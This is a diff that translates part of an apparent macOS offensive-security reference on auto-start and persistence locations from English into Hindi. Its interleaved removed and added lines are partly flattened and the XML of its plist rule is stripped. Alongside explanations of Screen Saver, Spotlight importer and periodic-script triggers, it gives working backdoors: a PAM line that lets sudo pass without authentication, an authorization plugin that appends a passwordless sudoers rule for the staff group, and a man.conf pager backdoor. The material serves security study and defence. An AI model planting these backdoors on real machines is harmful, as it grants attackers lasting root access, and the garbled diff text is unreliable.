action needs to happen - - You will end in another sandbox -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle) +- एक बहुत विशिष्ट क्रिया होनी चाहिए +- आप एक और सैंडबॉक्स में समाप्त होंगे +- TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### स्थान - `/Library/ColorPickers` - - Root required - - Trigger: Use the color picker +- रूट आवश्यक +- ट्रिगर: रंग पिकर का उपयोग करें - `~/Library/ColorPickers` - - Trigger: Use the color picker +- ट्रिगर: रंग पिकर का उपयोग करें -#### Description & Exploit +#### विवरण और शोषण -**Compile a color picker** bundle with your code (you could use [**this one for example**](https://github.com/viktorstrate/color-picker-plus)) and add a constructor (like in the [Screen Saver section](macos-auto-start-locations.md#screen-saver)) and copy the bundle to `~/Library/ColorPickers`. +**अपने कोड के साथ एक रंग पिकर** बंडल संकलित करें (आप [**इसका उपयोग कर सकते हैं उदाहरण के लिए**](https://github.com/viktorstrate/color-picker-plus)) और एक कंस्ट्रक्टर जोड़ें (जैसे [स्क्रीन सेवर अनुभाग](macos-auto-start-locations.md#screen-saver) में) और बंडल को `~/Library/ColorPickers` में कॉपी करें। -Then, when the color picker is triggered your should should be aswell. - -Note that the binary loading your library has a **very restrictive sandbox**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` +फिर, जब रंग पिकर को ट्रिगर किया जाता है, तो आपका कोड भी चलना चाहिए। +ध्यान दें कि आपकी लाइब्रेरी लोड करने वाला बाइनरी एक **बहुत प्रतिबंधात्मक सैंडबॉक्स** है: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` ```bash [Key] com.apple.security.temporary-exception.sbpl - [Value] - [Array] - [String] (deny file-write* (home-subpath "/Library/Colors")) - [String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers")) - [String] (allow file-read* (extension "com.apple.app-sandbox.read")) +[Value] +[Array] +[String] (deny file-write* (home-subpath "/Library/Colors")) +[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers")) +[String] (allow file-read* (extension "com.apple.app-sandbox.read")) ``` - ### Finder Sync Plugins **Writeup**: [https://theevilbit.github.io/beyond/beyond_0026/](https://theevilbit.github.io/beyond/beyond_0026/)\ **Writeup**: [https://objective-see.org/blog/blog_0x11.html](https://objective-see.org/blog/blog_0x11.html) -- Useful to bypass sandbox: **No, because you need to execute your own app** -- TCC bypass: ??? +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: **नहीं, क्योंकि आपको अपना खुद का ऐप चलाना होगा** +- TCC बायपास: ??? -#### Location +#### स्थान -- A specific app +- एक विशिष्ट ऐप -#### Description & Exploit +#### विवरण और शोषण -An application example with a Finder Sync Extension [**can be found here**](https://github.com/D00MFist/InSync). - -Applications can have `Finder Sync Extensions`. This extension will go inside an application that will be executed. Moreover, for the extension to be able to execute its code it **must be signed** with some valid Apple developer certificate, it must be **sandboxed** (although relaxed exceptions could be added) and it must be registered with something like: +एक एप्लिकेशन उदाहरण जिसमें एक Finder Sync Extension [**यहां पाया जा सकता है**](https://github.com/D00MFist/InSync). +एप्लिकेशन में `Finder Sync Extensions` हो सकते हैं। यह एक्सटेंशन एक एप्लिकेशन के अंदर जाएगा जिसे चलाया जाएगा। इसके अलावा, एक्सटेंशन को अपना कोड चलाने के लिए **साइन किया जाना चाहिए** किसी मान्य Apple डेवलपर सर्टिफिकेट के साथ, इसे **सैंडबॉक्स किया जाना चाहिए** (हालांकि ढीले अपवाद जोड़े जा सकते हैं) और इसे कुछ इस तरह से पंजीकृत किया जाना चाहिए: ```bash pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex pluginkit -e use -i com.example.InSync.InSync ``` - -### Screen Saver +### स्क्रीन सेवर Writeup: [https://theevilbit.github.io/beyond/beyond_0016/](https://theevilbit.github.io/beyond/beyond_0016/)\ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you will end in a common application sandbox -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle) +- लेकिन आप एक सामान्य एप्लिकेशन सैंडबॉक्स में समाप्त होंगे +- TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### स्थान - `/System/Library/Screen Savers` - - Root required - - **Trigger**: Select the screen saver +- रूट आवश्यक +- **ट्रिगर**: स्क्रीन सेवर का चयन करें - `/Library/Screen Savers` - - Root required - - **Trigger**: Select the screen saver +- रूट आवश्यक +- **ट्रिगर**: स्क्रीन सेवर का चयन करें - `~/Library/Screen Savers` - - **Trigger**: Select the screen saver +- **ट्रिगर**: स्क्रीन सेवर का चयन करें
-#### Description & Exploit +#### विवरण और शोषण -Create a new project in Xcode and select the template to generate a new **Screen Saver**. Then, are your code to it, for example the following code to generate logs. - -**Build** it, and copy the `.saver` bundle to **`~/Library/Screen Savers`**. Then, open the Screen Saver GUI and it you just click on it, it should generate a lot of logs: +Xcode में एक नया प्रोजेक्ट बनाएं और एक नया **स्क्रीन सेवर** उत्पन्न करने के लिए टेम्पलेट का चयन करें। फिर, इसमें अपना कोड जोड़ें, उदाहरण के लिए लॉग उत्पन्न करने के लिए निम्नलिखित कोड। +**बिल्ड** करें, और `.saver` बंडल को **`~/Library/Screen Savers`** में कॉपी करें। फिर, स्क्रीन सेवर GUI खोलें और यदि आप बस उस पर क्लिक करते हैं, तो यह बहुत सारे लॉग उत्पन्न करना चाहिए: ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"' @@ -1059,12 +984,10 @@ Timestamp (process)[PID] 2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:] 2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet] ``` - > [!CAUTION] -> Note that because inside the entitlements of the binary that loads this code (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) you can find **`com.apple.security.app-sandbox`** you will be **inside the common application sandbox**. +> ध्यान दें कि क्योंकि इस कोड को लोड करने वाले बाइनरी के अधिकारों के अंदर (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) आप **`com.apple.security.app-sandbox`** पा सकते हैं, आप **सामान्य एप्लिकेशन सैंडबॉक्स के अंदर** होंगे। Saver code: - ```objectivec // // ScreenSaverExampleView.m @@ -1079,159 +1002,154 @@ Saver code: - (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - self = [super initWithFrame:frame isPreview:isPreview]; - if (self) { - [self setAnimationTimeInterval:1/30.0]; - } - return self; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +self = [super initWithFrame:frame isPreview:isPreview]; +if (self) { +[self setAnimationTimeInterval:1/30.0]; +} +return self; } - (void)startAnimation { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - [super startAnimation]; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +[super startAnimation]; } - (void)stopAnimation { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - [super stopAnimation]; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +[super stopAnimation]; } - (void)drawRect:(NSRect)rect { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - [super drawRect:rect]; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +[super drawRect:rect]; } - (void)animateOneFrame { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - return; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +return; } - (BOOL)hasConfigureSheet { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - return NO; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +return NO; } - (NSWindow*)configureSheet { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - return nil; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +return nil; } __attribute__((constructor)) void custom(int argc, const char **argv) { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); } @end ``` - ### Spotlight Plugins writeup: [https://theevilbit.github.io/beyond/beyond_0011/](https://theevilbit.github.io/beyond/beyond_0011/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you will end in an application sandbox -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) - - The sandbox looks very limited +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle) +- लेकिन आप एक एप्लिकेशन सैंडबॉक्स में समाप्त होंगे +- TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) +- सैंडबॉक्स बहुत सीमित लगता है #### Location - `~/Library/Spotlight/` - - **Trigger**: A new file with a extension managed by the spotlight plugin is created. +- **Trigger**: एक नया फ़ाइल जो स्पॉटलाइट प्लगइन द्वारा प्रबंधित एक्सटेंशन के साथ है, बनाया गया है। - `/Library/Spotlight/` - - **Trigger**: A new file with a extension managed by the spotlight plugin is created. - - Root required +- **Trigger**: एक नया फ़ाइल जो स्पॉटलाइट प्लगइन द्वारा प्रबंधित एक्सटेंशन के साथ है, बनाया गया है। +- रूट आवश्यक - `/System/Library/Spotlight/` - - **Trigger**: A new file with a extension managed by the spotlight plugin is created. - - Root required +- **Trigger**: एक नया फ़ाइल जो स्पॉटलाइट प्लगइन द्वारा प्रबंधित एक्सटेंशन के साथ है, बनाया गया है। +- रूट आवश्यक - `Some.app/Contents/Library/Spotlight/` - - **Trigger**: A new file with a extension managed by the spotlight plugin is created. - - New app required +- **Trigger**: एक नया फ़ाइल जो स्पॉटलाइट प्लगइन द्वारा प्रबंधित एक्सटेंशन के साथ है, बनाया गया है। +- नया ऐप आवश्यक #### Description & Exploitation -Spotlight is macOS's built-in search feature, designed to provide users with **quick and comprehensive access to data on their computers**.\ -To facilitate this rapid search capability, Spotlight maintains a **proprietary database** and creates an index by **parsing most files**, enabling swift searches through both file names and their content. +Spotlight macOS की अंतर्निहित खोज सुविधा है, जिसे उपयोगकर्ताओं को **अपने कंप्यूटर पर डेटा तक त्वरित और व्यापक पहुंच प्रदान करने के लिए डिज़ाइन किया गया है**।\ +इस त्वरित खोज क्षमता को सुविधाजनक बनाने के लिए, Spotlight एक **स्वामित्व डेटाबेस** बनाए रखता है और **अधिकांश फ़ाइलों को पार्स करके** एक अनुक्रमणिका बनाता है, जिससे फ़ाइल नामों और उनके सामग्री के माध्यम से तेज़ खोजें संभव होती हैं। -The underlying mechanism of Spotlight involves a central process named 'mds', which stands for **'metadata server'.** This process orchestrates the entire Spotlight service. Complementing this, there are multiple 'mdworker' daemons that perform a variety of maintenance tasks, such as indexing different file types (`ps -ef | grep mdworker`). These tasks are made possible through Spotlight importer plugins, or **".mdimporter bundles**", which enable Spotlight to understand and index content across a diverse range of file formats. +Spotlight का अंतर्निहित तंत्र एक केंद्रीय प्रक्रिया 'mds' नामक है, जिसका अर्थ है **'मेटाडेटा सर्वर'।** यह प्रक्रिया पूरी Spotlight सेवा का संचालन करती है। इसके साथ, कई 'mdworker' डेमन होते हैं जो विभिन्न रखरखाव कार्य करते हैं, जैसे विभिन्न फ़ाइल प्रकारों का अनुक्रमण ( `ps -ef | grep mdworker` )। ये कार्य Spotlight आयातक प्लगइनों, या **".mdimporter bundles"** के माध्यम से संभव होते हैं, जो Spotlight को विभिन्न फ़ाइल प्रारूपों में सामग्री को समझने और अनुक्रमित करने में सक्षम बनाते हैं। -The plugins or **`.mdimporter`** bundles are located in the places mentioned previously and if a new bundle appear it's loaded within monute (no need to restart any service). These bundles need to indicate which **file type and extensions they can manage**, this way, Spotlight will use them when a new file with the indicated extension is created. - -It's possible to **find all the `mdimporters`** loaded running: +प्लगइन्स या **`.mdimporter`** बंडल पहले उल्लेखित स्थानों में स्थित होते हैं और यदि एक नया बंडल प्रकट होता है, तो इसे एक मिनट के भीतर लोड किया जाता है (किसी सेवा को पुनः प्रारंभ करने की आवश्यकता नहीं है)। इन बंडलों को यह संकेत देना आवश्यक है कि वे किस **फ़ाइल प्रकार और एक्सटेंशन को प्रबंधित कर सकते हैं**, इस तरह, Spotlight उन्हें तब उपयोग करेगा जब एक नया फ़ाइल निर्दिष्ट एक्सटेंशन के साथ बनाया जाएगा। +यह संभव है कि **सभी `mdimporters`** को लोड किया गया हो: ```bash mdimport -L Paths: id(501) ( - "/System/Library/Spotlight/iWork.mdimporter", - "/System/Library/Spotlight/iPhoto.mdimporter", - "/System/Library/Spotlight/PDF.mdimporter", - [...] +"/System/Library/Spotlight/iWork.mdimporter", +"/System/Library/Spotlight/iPhoto.mdimporter", +"/System/Library/Spotlight/PDF.mdimporter", +[...] ``` - -And for example **/Library/Spotlight/iBooksAuthor.mdimporter** is used to parse these type of files (extensions `.iba` and `.book` among others): - +और उदाहरण के लिए **/Library/Spotlight/iBooksAuthor.mdimporter** इन प्रकार की फ़ाइलों (एक्सटेंशन `.iba` और `.book` सहित) को पार्स करने के लिए उपयोग किया जाता है: ```json plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist [...] "CFBundleDocumentTypes" => [ - 0 => { - "CFBundleTypeName" => "iBooks Author Book" - "CFBundleTypeRole" => "MDImporter" - "LSItemContentTypes" => [ - 0 => "com.apple.ibooksauthor.book" - 1 => "com.apple.ibooksauthor.pkgbook" - 2 => "com.apple.ibooksauthor.template" - 3 => "com.apple.ibooksauthor.pkgtemplate" - ] - "LSTypeIsPackage" => 0 - } - ] +0 => { +"CFBundleTypeName" => "iBooks Author Book" +"CFBundleTypeRole" => "MDImporter" +"LSItemContentTypes" => [ +0 => "com.apple.ibooksauthor.book" +1 => "com.apple.ibooksauthor.pkgbook" +2 => "com.apple.ibooksauthor.template" +3 => "com.apple.ibooksauthor.pkgtemplate" +] +"LSTypeIsPackage" => 0 +} +] [...] - => { - "UTTypeConformsTo" => [ - 0 => "public.data" - 1 => "public.composite-content" - ] - "UTTypeDescription" => "iBooks Author Book" - "UTTypeIdentifier" => "com.apple.ibooksauthor.book" - "UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor" - "UTTypeTagSpecification" => { - "public.filename-extension" => [ - 0 => "iba" - 1 => "book" - ] - } - } +=> { +"UTTypeConformsTo" => [ +0 => "public.data" +1 => "public.composite-content" +] +"UTTypeDescription" => "iBooks Author Book" +"UTTypeIdentifier" => "com.apple.ibooksauthor.book" +"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor" +"UTTypeTagSpecification" => { +"public.filename-extension" => [ +0 => "iba" +1 => "book" +] +} +} [...] ``` - > [!CAUTION] -> If you check the Plist of other `mdimporter` you might not find the entry **`UTTypeConformsTo`**. Thats because that is a built-in _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)) and it doesn't need to specify extensions. +> यदि आप अन्य `mdimporter` का Plist चेक करते हैं, तो आपको प्रविष्टि **`UTTypeConformsTo`** नहीं मिल सकती। इसका कारण यह है कि यह एक अंतर्निहित _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)) है और इसे एक्सटेंशन निर्दिष्ट करने की आवश्यकता नहीं है। > -> Moreover, System default plugins always take precedence, so an attacker can only access files that are not otherwise indexed by Apple's own `mdimporters`. +> इसके अलावा, सिस्टम डिफ़ॉल्ट प्लगइन्स हमेशा प्राथमिकता लेते हैं, इसलिए एक हमलावर केवल उन फ़ाइलों तक पहुँच सकता है जो अन्यथा Apple के अपने `mdimporters` द्वारा अनुक्रमित नहीं हैं। -To create your own importer you could start with this project: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) and then change the name, the **`CFBundleDocumentTypes`** and add **`UTImportedTypeDeclarations`** so it supports the extension you would like to support and refelc them in **`schema.xml`**.\ -Then **change** the code of the function **`GetMetadataForFile`** to execute your payload when a file with the processed extension is created. +अपना खुद का इम्पोर्टर बनाने के लिए आप इस प्रोजेक्ट से शुरू कर सकते हैं: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) और फिर नाम, **`CFBundleDocumentTypes`** को बदलें और **`UTImportedTypeDeclarations`** जोड़ें ताकि यह उस एक्सटेंशन का समर्थन करे जिसे आप समर्थन करना चाहते हैं और उन्हें **`schema.xml`** में परिलक्षित करें।\ +फिर **`GetMetadataForFile`** फ़ंक्शन के कोड को **बदलें** ताकि जब एक फ़ाइल बनाई जाए जिसमें प्रोसेस्ड एक्सटेंशन हो, तो आपका पेलोड निष्पादित हो। -Finally **build and copy your new `.mdimporter`** to one of thre previous locations and you can chech whenever it's loaded **monitoring the logs** or checking **`mdimport -L.`** +अंत में **अपना नया `.mdimporter` बनाएं और कॉपी करें** और आप देख सकते हैं कि यह कब लोड होता है **लॉग की निगरानी करके** या **`mdimport -L.`** चेक करके। ### ~~Preference Pane~~ > [!CAUTION] -> It doesn't look like this is working anymore. +> ऐसा लगता है कि यह अब काम नहीं कर रहा है। Writeup: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.github.io/beyond/beyond_0009/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - It needs a specific user action -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- सैंडबॉक्स बायपास के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle) +- इसे एक विशिष्ट उपयोगकर्ता क्रिया की आवश्यकता है +- TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) #### Location @@ -1241,34 +1159,33 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.g #### Description -It doesn't look like this is working anymore. +ऐसा लगता है कि यह अब काम नहीं कर रहा है। ## Root Sandbox Bypass > [!TIP] -> Here you can find start locations useful for **sandbox bypass** that allows you to simply execute something by **writing it into a file** being **root** and/or requiring other **weird conditions.** +> यहाँ आप **sandbox bypass** के लिए उपयोगी प्रारंभ स्थान पा सकते हैं जो आपको **फाइल में लिखकर** कुछ निष्पादित करने की अनुमति देता है, **रूट** होने पर और/या अन्य **अजीब शर्तों** की आवश्यकता होती है। ### Periodic Writeup: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.github.io/beyond/beyond_0019/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- सैंडबॉक्स बायपास के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle) +- लेकिन आपको रूट होना चाहिए +- TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) #### Location - `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic` - - Root required - - **Trigger**: When the time comes -- `/etc/daily.local`, `/etc/weekly.local` or `/etc/monthly.local` - - Root required - - **Trigger**: When the time comes +- रूट की आवश्यकता +- **Trigger**: जब समय आए +- `/etc/daily.local`, `/etc/weekly.local` या `/etc/monthly.local` +- रूट की आवश्यकता +- **Trigger**: जब समय आए #### Description & Exploitation -The periodic scripts (**`/etc/periodic`**) are executed because of the **launch daemons** configured in `/System/Library/LaunchDaemons/com.apple.periodic*`. Note that scripts stored in `/etc/periodic/` are **executed** as the **owner of the file,** so this won't work for a potential privilege escalation. - +पीरियडिक स्क्रिप्ट्स (**`/etc/periodic`**) को **launch daemons** के कारण निष्पादित किया जाता है जो `/System/Library/LaunchDaemons/com.apple.periodic*` में कॉन्फ़िगर किए गए हैं। ध्यान दें कि `/etc/periodic/` में संग्रहीत स्क्रिप्ट्स **फाइल के मालिक के रूप में** **निष्पादित** की जाती हैं, इसलिए यह संभावित विशेषाधिकार वृद्धि के लिए काम नहीं करेगा। ```bash # Launch daemons that will execute the periodic scripts ls -l /System/Library/LaunchDaemons/com.apple.periodic* @@ -1299,52 +1216,44 @@ total 24 total 8 -rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local ``` - -There are other periodic scripts that will be executed indicated in **`/etc/defaults/periodic.conf`**: - +अन्य आवधिक स्क्रिप्ट हैं जो **`/etc/defaults/periodic.conf`** में निर्दिष्ट की जाएंगी: ```bash grep "Local scripts" /etc/defaults/periodic.conf daily_local="/etc/daily.local" # Local scripts weekly_local="/etc/weekly.local" # Local scripts monthly_local="/etc/monthly.local" # Local scripts ``` - -If you manage to write any of the files `/etc/daily.local`, `/etc/weekly.local` or `/etc/monthly.local` it will be **executed sooner or later**. +यदि आप `/etc/daily.local`, `/etc/weekly.local` या `/etc/monthly.local` में से किसी भी फ़ाइल को लिखने में सफल होते हैं, तो यह **जल्द या बाद में निष्पादित होगा**। > [!WARNING] -> Note that the periodic script will be **executed as the owner of the script**. So if a regular user owns the script, it will be executed as that user (this might prevent privilege escalation attacks). +> ध्यान दें कि आवधिक स्क्रिप्ट **स्क्रिप्ट के मालिक के रूप में निष्पादित होगी**। इसलिए यदि एक नियमित उपयोगकर्ता स्क्रिप्ट का मालिक है, तो यह उस उपयोगकर्ता के रूप में निष्पादित होगी (यह विशेषाधिकार वृद्धि हमलों को रोक सकता है)। ### PAM Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\ Writeup: [https://theevilbit.github.io/beyond/beyond_0005/](https://theevilbit.github.io/beyond/beyond_0005/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle) +- लेकिन आपको रूट होना चाहिए +- TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### स्थान -- Root always required +- रूट हमेशा आवश्यक है -#### Description & Exploitation +#### विवरण और शोषण -As PAM is more focused in **persistence** and malware that on easy execution inside macOS, this blog won't give a detailed explanation, **read the writeups to understand this technique better**. - -Check PAM modules with: +चूंकि PAM **स्थिरता** और मैलवेयर पर अधिक केंद्रित है, जो macOS के अंदर आसान निष्पादन पर है, यह ब्लॉग इस तकनीक को बेहतर ढंग से समझने के लिए विस्तृत व्याख्या नहीं देगा, **इस तकनीक को बेहतर समझने के लिए लेखों को पढ़ें**। +PAM मॉड्यूल की जांच करें: ```bash ls -l /etc/pam.d ``` - -A persistence/privilege escalation technique abusing PAM is as easy as modifying the module /etc/pam.d/sudo adding at the beginning the line: - +एक स्थायीता/अधिकार वृद्धि तकनीक जो PAM का दुरुपयोग करती है, उतनी ही आसान है जितनी कि मॉड्यूल /etc/pam.d/sudo को संशोधित करना और शुरुआत में यह पंक्ति जोड़ना: ```bash auth sufficient pam_permit.so ``` - -So it will **looks like** something like this: - +तो यह **इस तरह** कुछ ऐसा दिखेगा: ```bash # sudo: auth account password session auth sufficient pam_permit.so @@ -1355,14 +1264,12 @@ account required pam_permit.so password required pam_deny.so session required pam_permit.so ``` - -And therefore any attempt to use **`sudo` will work**. +और इसलिए **`sudo` का उपयोग करने का कोई भी प्रयास काम करेगा**। > [!CAUTION] -> Note that this directory is protected by TCC so it's highly probably that the user will get a prompt asking for access. - -Another nice example is su, were you can see that it's also possible to give parameters to the PAM modules (and you coukd also backdoor this file): +> ध्यान दें कि यह निर्देशिका TCC द्वारा सुरक्षित है, इसलिए यह अत्यधिक संभावना है कि उपयोगकर्ता को पहुंच के लिए एक प्रॉम्प्ट मिलेगा। +एक और अच्छा उदाहरण su है, जहां आप देख सकते हैं कि PAM मॉड्यूल को पैरामीटर देना भी संभव है (और आप इस फ़ाइल को भी बैकडोर कर सकते हैं): ```bash cat /etc/pam.d/su # su: auth account session @@ -1373,26 +1280,24 @@ account required pam_opendirectory.so no_check_shell password required pam_opendirectory.so session required pam_launchd.so ``` - ### Authorization Plugins Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.github.io/beyond/beyond_0028/)\ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root and make extra configs -- TCC bypass: ??? +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle) +- लेकिन आपको रूट होना चाहिए और अतिरिक्त कॉन्फ़िगरेशन करनी होगी +- TCC बायपास: ??? #### Location - `/Library/Security/SecurityAgentPlugins/` - - Root required - - It's also needed to configure the authorization database to use the plugin +- रूट आवश्यक +- प्लगइन का उपयोग करने के लिए प्राधिकरण डेटाबेस को कॉन्फ़िगर करना भी आवश्यक है #### Description & Exploitation -You can create an authorization plugin that will be executed when a user logs-in to maintain persistence. For more information about how to create one of these plugins check the previous writeups (and be careful, a poorly written one can lock you out and you will need to clean your mac from recovery mode). - +आप एक प्राधिकरण प्लगइन बना सकते हैं जो तब निष्पादित होगा जब एक उपयोगकर्ता लॉग-इन करता है ताकि स्थिरता बनाए रखी जा सके। इन प्लगइनों में से एक बनाने के बारे में अधिक जानकारी के लिए पिछले लेखों की जांच करें (और सावधान रहें, एक खराब तरीके से लिखा गया प्लगइन आपको लॉक कर सकता है और आपको अपने मैक को रिकवरी मोड से साफ़ करना होगा)। ```objectivec // Compile the code and create a real bundle // gcc -bundle -framework Foundation main.m -o CustomAuth @@ -1403,74 +1308,64 @@ You can create an authorization plugin that will be executed when a user logs-in __attribute__((constructor)) static void run() { - NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded"); - system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers"); +NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded"); +system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers"); } ``` - -**Move** the bundle to the location to be loaded: - +**बंडल** को लोड होने के स्थान पर ले जाएं: ```bash cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/ ``` - -Finally add the **rule** to load this Plugin: - +अंत में इस प्लगइन को लोड करने के लिए **नियम** जोड़ें: ```bash cat > /tmp/rule.plist < - class - evaluate-mechanisms - mechanisms - - CustomAuth:login,privileged - - +class +evaluate-mechanisms +mechanisms + +CustomAuth:login,privileged + +
EOF security authorizationdb write com.asdf.asdf < /tmp/rule.plist ``` +**`evaluate-mechanisms`** यह अधिकृतता ढांचे को बताएगा कि इसे **अधिकृतता के लिए एक बाहरी तंत्र को कॉल करने की आवश्यकता होगी**। इसके अलावा, **`privileged`** इसे रूट द्वारा निष्पादित करेगा। -The **`evaluate-mechanisms`** will tell the authorization framework that it will need to **call an external mechanism for authorization**. Moreover, **`privileged`** will make it be executed by root. - -Trigger it with: - +इसे ट्रिगर करें: ```bash security authorize com.asdf.asdf ``` - -And then the **staff group should have sudo** access (read `/etc/sudoers` to confirm). +और फिर **स्टाफ समूह को sudo** एक्सेस होना चाहिए (पुष्टि के लिए `/etc/sudoers` पढ़ें)। ### Man.conf -Writeup: [https://theevilbit.github.io/beyond/beyond_0030/](https://theevilbit.github.io/beyond/beyond_0030/) +लेख: [https://theevilbit.github.io/beyond/beyond_0030/](https://theevilbit.github.io/beyond/beyond_0030/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root and the user must use man -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle) +- लेकिन आपको रूट होना चाहिए और उपयोगकर्ता को man का उपयोग करना चाहिए +- TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### स्थान - **`/private/etc/man.conf`** - - Root required - - **`/private/etc/man.conf`**: Whenever man is used +- रूट आवश्यक +- **`/private/etc/man.conf`**: जब भी man का उपयोग किया जाता है -#### Description & Exploit +#### विवरण और शोषण -The config file **`/private/etc/man.conf`** indicate the binary/script to use when opening man documentation files. So the path to the executable could be modified so anytime the user uses man to read some docs a backdoor is executed. - -For example set in **`/private/etc/man.conf`**: +कॉन्फ़िग फ़ाइल **`/private/etc/man.conf`** यह इंगित करती है कि man दस्तावेज़ फ़ाइलें खोलने के लिए कौन सा बाइनरी/स्क्रिप्ट का उपयोग करना है। इसलिए निष्पादन योग्य का पथ संशोधित किया जा सकता है ताकि जब भी उपयोगकर्ता कुछ दस्तावेज़ पढ़ने के लिए man का उपयोग करे, एक बैकडोर निष्पादित हो। +उदाहरण के लिए **`/private/etc/man.conf`** में सेट करें: ``` MANPAGER /tmp/view ``` - -And then create `/tmp/view` as: - +और फिर `/tmp/view` को इस प्रकार बनाएं: ```bash #!/bin/zsh @@ -1478,40 +1373,34 @@ touch /tmp/manconf /usr/bin/less -s ``` - ### Apache2 **Writeup**: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root and apache needs to be running -- TCC bypass: 